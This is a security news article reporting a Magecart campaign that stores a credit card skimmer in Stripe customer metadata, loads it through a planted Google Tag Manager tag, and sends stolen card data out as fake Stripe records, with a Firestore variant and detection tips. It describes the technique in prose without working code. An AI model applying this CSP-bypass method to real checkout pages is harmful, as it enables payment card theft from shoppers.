Magecart Hides Skimmer Inside Stripe's Own API—Bypasses CSP

Magecart operators have found a way to make security controls work against defenders: storing their credit card skimmer inside Stripe's API infrastructure and exfiltrating stolen payment data as fake Stripe customer records. Content Security Policy rules that allowlist api.stripe.com—which is basically every Stripe merchant—let the attack sail through.

Sansec researchers published their findings on June 4, 2026, after tracking the campaign since at least late December 2025.

How the Attack Works

The attack chain leverages two implicitly trusted domains: Google Tag Manager (GTM) and Stripe's API.

Stage 1 — Payload Delivery: A malicious GTM container is planted on victim sites as a custom tag. On checkout pages (URLs containing "checkout"), the container fetches a specific Stripe customer record from the attacker's Stripe account.

Stage 2 — Skimmer Execution: The "customer" record contains JavaScript code stored in metadata fields. The loader extracts this code and executes it dynamically using new Function()—a classic eval() equivalent that bypasses static analysis.

Stage 3 — Data Capture: The skimmer targets Magento and Adobe Commerce checkout pages, harvesting:

• Credit card numbers, expiration dates, CVV codes
• Customer names and billing addresses
• Email addresses and phone numbers

Stage 4 — Exfiltration: Stolen payment data is XOR-obfuscated and stored locally. A separate routine runs after page load and every minute thereafter, creating fake Stripe customer objects that store the stolen data in metadata fields. The local files are then wiped.

Why CSP Won't Save You

Content Security Policy is supposed to prevent exactly this kind of attack—blocking script execution from untrusted sources. But the attackers chose their infrastructure deliberately:

• api.stripe.com is allowlisted by every Stripe merchant
• googletagmanager.com is allowlisted by every site using GTM

Both payload delivery and data exfiltration happen through domains that CSP rules explicitly trust. Network filters flagging unknown skimmer domains miss this entirely.

Variant Using Google Firestore

Sansec identified a secondary variant using Google Firestore instead of Stripe. Payloads are retrieved from a Firestore document named _tracking/captcha_ within a project called braintree-payment-app—chosen to blend with legitimate payment traffic.

Same principle: trusted infrastructure, same CSP bypass.

Timeline and Scale

The Stripe customer record containing the skimmer was created December 24, 2025, suggesting the campaign has been operational for over five months. Sansec hasn't disclosed the number of affected merchants, but the sophistication suggests a well-resourced operation.

This represents an evolution in Magecart tactics. Earlier campaigns used obviously malicious domains that security tools could easily flag. By hiding inside legitimate infrastructure, attackers have raised the bar significantly.

Detection Guidance

Organizations should monitor for:

1. Unusual GTM container tags — Audit all GTM containers for unexpected scripts or external fetches
2. Anomalous Stripe API calls — Customer record queries from checkout pages that reference unfamiliar customer IDs
3. Dynamic code execution — Detect new Function() or eval() calls in checkout contexts
4. Unexpected customer creation — Stripe webhooks showing customer records created without corresponding orders

Broader Context

This attack exploits the fundamental trust model of modern web applications. CDNs, payment processors, analytics platforms—they're all trusted by design. When attackers compromise that trust, traditional defenses fail.

For readers managing ecommerce security, our guide on recognizing phishing and social engineering covers related attack vectors, while the malware fundamentals guide explains how these threats operate at a technical level.

Stripe has not publicly commented on whether they've taken action to detect or prevent misuse of their API for malware hosting.